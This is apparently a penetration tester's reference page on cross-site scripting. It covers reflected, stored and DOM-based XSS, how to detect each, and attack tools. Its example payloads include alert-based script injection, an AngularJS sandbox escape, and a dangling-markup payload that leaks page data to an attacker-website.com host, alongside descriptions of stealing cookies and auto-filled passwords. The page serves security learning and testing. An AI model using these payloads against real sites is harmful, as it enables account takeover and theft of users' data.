XSS Cross-Site Scripting
Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application. It allows an attacker to circumvent the same origin policy, which is designed to segregate different websites from each other. Cross-site scripting vulnerabilities normally allow an attacker to masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user's data. If the victim user has privileged access within the application, then the attacker might be able to gain full control over all of the application's functionality and data.

XSS Basics

Tools/Resources
Exploiting XSS
Tips and Tricks
Defending Against XSS
Guides and CheatSheets
Payloads
Tools
  • ​XSSHunter - XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service. It uses a web platform to run certain attacks to allow detection of certain Blind XSS vulnerabilities
  • ​XSSTrike - XSStrike is a Cross Site Scripting detection suite equipped with four hand written parsers, an intelligent payload generator, a powerful fuzzing engine and an incredibly fast crawler.
  • ​https://knoxss.me/ - With multiple vectors and decision-making capabilities, KNOXSS Pro is able to find a lot of edge XSS cases and bypass several input and output filters. It also has an extension that makes all the job completely automatic: after setting a domain with one click, all URLs and forms navigated in all subdomains will be submitted to KNOXSS for testing.
  • ​XSSer - From XSS to RCE 2.75
  • ​JShell - JShell - Get a JavaScript shell with XSS.
  • ​dalfox - DalFox is an powerful open source XSS scanning tool and parameter analyzer, utility
Exploiting XSS
  • Stealing Cookies -Most web applications use cookies for session handling. You can exploit cross-site scripting vulnerabilities to send the victim's cookies to your own domain, then manually inject the cookies into your browser and impersonate the victim
  • Capturing passwords - These days, many users have password managers that auto-fill their passwords. You can take advantage of this by creating a password input, reading out the auto-filled password, and sending it to your own domain. This technique avoids most of the problems associated with stealing cookies, and can even gain access to every other account where the victim has reused the same password.
  • Performing CSRF - Anything a legitimate user can do on a web site, you can probably do too with XSS. Depending on the site you're targeting, you might be able to make a victim send a message, accept a friend request, commit a backdoor to a source code repository, or transfer some Bitcoin. Some websites allow logged-in users to change their email address without re-entering their password. If you've found an XSS vulnerability, you can make it trigger this functionality to change the victim's email address to one that you control, and then trigger a password reset to gain access to the account.
  • Self XSS - When a user is tricked into executing XSS on themsleves.
Filter Bypass
  • Using encoding - Encode the strings that may be blocked with filtering, with various forms of acceptable encoding such as HTML, URL, Base64, Hex, etc..
  • Tag Modifiers - Random capitals and modifying tag names to evade certain string filtering. This can also include random spacing and modifying the brackets
  • Dynamic Constructed Strings - Use JavaScript functions to generate a malaicious string that can be used in a parameter. You can try using the eval() and replace() functions.
Defending against XSS

XSS Types

Reflected
Stored
DOM Based
Reflected XSS
  • Arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.
  • If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:
    • Perform any action within the application that the user can perform.
    • View any information that the user is able to view.
    • Modify any information that the user is able to modify.
    • Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.
Detecting Reflected XSS
  • Burp Web Vuln Scanner
  • Test every entry point - This includes parameters or other data within the URL query string and message body, and the URL file path. It also includes HTTP headers, although XSS-like behavior that can only be triggered via certain HTTP headers may not be exploitable in practice.
  • Submit random alphanumeric values. - FUZZ!!! submit a unique random value and determine whether the value is reflected in the response. The value should be designed to survive most input validation, so needs to be fairly short and contain only alphanumeric characters. Use Burp Intruder's grep payloads option to automatically flag responses that contain the submitted value.
  • Determine Reflected Context - For each location within the response where the random value is reflected, determine its context. This might be in text between HTML tags, within a tag attribute which might be quoted, within a JavaScript string, etc
  • Test a candidate payload - The easiest way to test payloads is to send the request to Burp Repeater, modify the request to insert the candidate payload, issue the request, and then review the response to see if the payload worked.
  • Test alternate payloads - If the candidate XSS payload was modified by the application, or blocked altogether, then you will need to test alternative payloads and techniques that might deliver a working XSS attack based on the context of the reflection and the type of input validation that is being performed
  • Test the attack in a browser - if it works in burp, try it in the browser!
Stored Cross-Site Scripting
  • Arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.
  • The data in question might be submitted to the application via HTTP requests; for example, comments on a blog post, user nicknames in a chat room, or contact details on a customer order. In other cases, the data might arrive from other untrusted sources; for example, a webmail application displaying messages received over SMTP, a marketing application displaying social media posts, or a network monitoring application displaying packet data from network traffic.
Detecting Stored XSS Vulnerabilities
  • Burp Web Vuln Scanner
  • You need to test all relevant "entry points" via which attacker-controllable data can enter the application's processing, and all "exit points" at which that data might appear in the application's responses.
  • Parameters or other data within the URL query string and message body.
  • The URL file path.
  • HTTP request headers that might not be exploitable in relation to reflected XSS.
  • Any out-of-band routes via which an attacker can deliver data into the application. The routes that exist depend entirely on the functionality implemented by the application: a webmail application will process data received in emails; an application displaying a Twitter feed might process data contained in third-party tweets; and a news aggregator will include data originating on other web sites.

DOM-based Cross-site scripting

  • Arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.
  • To deliver a DOM-based XSS attack, you need to place data into a source so that it is propagated to a sink and causes execution of arbitrary JavaScript.
  • The most common source for DOM XSS is the URL, which is typically accessed with the window.location object. An attacker can construct a link to send a victim to a vulnerable page with a payload in the query string and fragment portions of the URL. In certain circumstances, such as when targeting a 404 page or a website running PHP, the payload can also be placed in the path.

Test for DOM-Based cross-site scripting

  • Testing HTML Sinks - place a random alphanumeric string into the source (such as location.search), then use developer tools to inspect the HTML and find where your string appears.
  • For each location where your string appears within the DOM, you need to identify the context. Based on this context, you need to refine your input to see how it is processed. For example, if your string appears within a double-quoted attribute then try to inject double quotes in your string to see if you can break out of the attribute.

Testing JavaScript Execution Sinks

  • With these sinks, your input doesn't necessarily appear anywhere within the DOM, so you can't search for it. Instead you'll need to use the JavaScript debugger to determine whether and how your input is sent to a sink.
  • For each potential source, such as location, you first need to find cases within the page's JavaScript code where the source is being referenced
  • Once you've found where the source is being read, you can use the JavaScript debugger to add a break point and follow how the source's value is used
  • If a JavaScript library such as jQuery is being used, look out for sinks that can alter DOM elements on the page. For instance, the attr() function in jQuery can change attributes on DOM elements. If data is read from a user-controlled source like the URL and then passed to the attr() function, then it may be possible to manipulate the value sent to cause XSS.
  • In a reflected+DOM vulnerability, the server processes data from the request, and echoes the data into the response. The reflected data might be placed into a JavaScript string literal, or a data item within the DOM, such as a form field. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink.

Reference

Labs

XSS Contexts

XSS and HTML
XSS Into JavaScript
AngularJS Sandbox
XSS between HTML tags - When the XSS context is text between HTML tags, you need to introduce some new HTML tags designed to trigger execution of JavaScript. Examples: <script>alert(document.domain)</script> <img src=1 onerror=alert(1)>
XSS in HTML tag attributes. - When the XSS context is into an HTML tag attribute value, you might sometimes be able to terminate the attribute value, close the tag, and introduce a new one. For example:
"><script>alert(document.domain)</script>
  • More commonly in this situation, angle brackets are blocked or encoded, so your input cannot break out of the tag in which it appears. Provided you can terminate the attribute value, you can normally introduce a new attribute that creates a scriptable context, such as an event handler.
  • Sometimes the XSS context is into a type of HTML tag attribute that itself can create a scriptable context. Here, you can execute JavaScript without needing to terminate the attribute value. For example, if the XSS context is into the href attribute of an anchor tag, you can use the javascript pseudo-protocol to execute script.
  • You might encounter websites that encode angle brackets but still allow you to inject attributes. Sometimes, these injections are possible even within tags that don't usually fire events automatically, such as a canonical tag. You can exploit this behavior using access keys and user interaction on Chrome. Access keys allow you to provide keyboard shortcuts that reference a specific element. The accesskey attribute allows you to define a letter that, when pressed in combination with other keys (these vary across different platforms), will cause events to fire. In the next lab you can experiment with access keys and exploit a canonical tag.
  • Terminating the existing script - In the simplest case, it is possible to simply close the script tag that is enclosing the existing JavaScript, and introduce some new HTML tags that will trigger execution of JavaScript.
  • Breaking out of a JS string - In cases where the XSS context is inside a quoted string literal, it is often possible to break out of the string and execute JavaScript directly. It is essential to repair the script following the XSS context, because any syntax errors there will prevent the whole script from executing.
  • Making use of HTML encoding - When the XSS context is some existing JavaScript within a quoted tag attribute, such as an event handler, it is possible to make use of HTML-encoding to work around some input filters. When the browser has parsed out the HTML tags and attributes within a response, it will perform HTML-decoding of tag attribute values before they are processed any further. If the server-side application blocks or sanitizes certain characters that are needed for a successful XSS exploit, you can often bypass the input validation by
  • XSS in JavaScrit Template Literals - JavaScript template literals are string literals that allow embedded JavaScript expressions. The embedded expressions are evaluated and are normally concatenated into the surrounding text. Template literals are encapsulated in backticks instead of normal quotation marks, and embedded expressions are identified using the ${...} syntax
AngularJS Sandbox
  • The AngularJS sandbox is a mechanism that prevents access to potentially dangerous objects, such as window or document, in AngularJS template expressions. It also prevents access to potentially dangerous properties, such as __proto__.
  • he sandbox works by parsing an expression, rewriting the JavaScript, and then using various functions to test whether the rewritten code contains any dangerous objects. For example, the ensureSafeObject() function checks whether a given object references itself. This is one way to detect the window object, for example.
  • A sandbox escape involves tricking the sandbox into thinking the malicious expression is benign. The most well-known escape uses the modified charAt() function globally within an expression:
    'a'.constructor.prototype.charAt=[].join
  • When it was initially discovered, AngularJS did not prevent this modification. The attack works by overwriting the function using the [].join method, which causes the charAt() function to return all the characters sent to it, rather than a specific single character. Due to the logic of the isIdent() function in AngularJS, it compares what it thinks is a single character against multiple characters. As single characters are always less than multiple characters, the isIdent() function always returns true, as demonstrated by the following example:
    isIdent= function(ch) {
    return ('a' <= ch && ch <= 'z' ||
    'A' <= ch && ch <= 'Z' ||
    '_' === ch || ch === '#x27;);
    }
    isIdent('x9=9a9l9e9r9t9(919)')

XSS Special Elements

Content Security Policy - CSP
Dangling Markup Injection
  • Dangling markup injection is a technique for capturing data cross-domain in situations where a full cross-site scripting attack isn't possible
  • Suppose also that the application does not filter or escape the > or " characters. An attacker can use the following syntax to break out of the quoted attribute value and the enclosing tag, and return to an HTML context: ">
  • In this situation, an attacker would naturally attempt to perform XSS. But suppose that a regular XSS attack is not possible, due to input filters, content security policy, or other obstacles. Here, it might still be possible to deliver a dangling markup injection attack using a payload like the following: "><img src='//attacker-website.com?
  • This payload creates an img tag and defines the start of a src attribute containing a URL on the attacker's server. Note that the attacker's payload doesn't close the src attribute, which is left "dangling". When a browser parses the response, it will look ahead until it encounters a single quotation mark to terminate the attribute. Everything up until that character will be treated as being part of the URL and will be sent to the attacker's server within the URL query string. Any non-alphanumeric characters, including newlines, will be URL-encoded
  • Bypassing CSP with Policy Injection - You may encounter a website that reflects input into the actual policy, most likely in a report-uri directive. If the site reflects a parameter that you can control, you can inject a semicolon to add your own CSP directives. Usually, this report-uri directive is the final one in the list. This means you will need to overwrite existing directives in order to exploit this vulnerability and bypass the policy.
  • Normally, it's not possible to overwrite an existing script-src directive. However, Chrome recently introduced the script-src-elem directive, which allows you to control script elements, but not events. Crucially, this new directive allows you to overwrite existing script-src directives. Using this knowledge, you should be able to solve the following lab.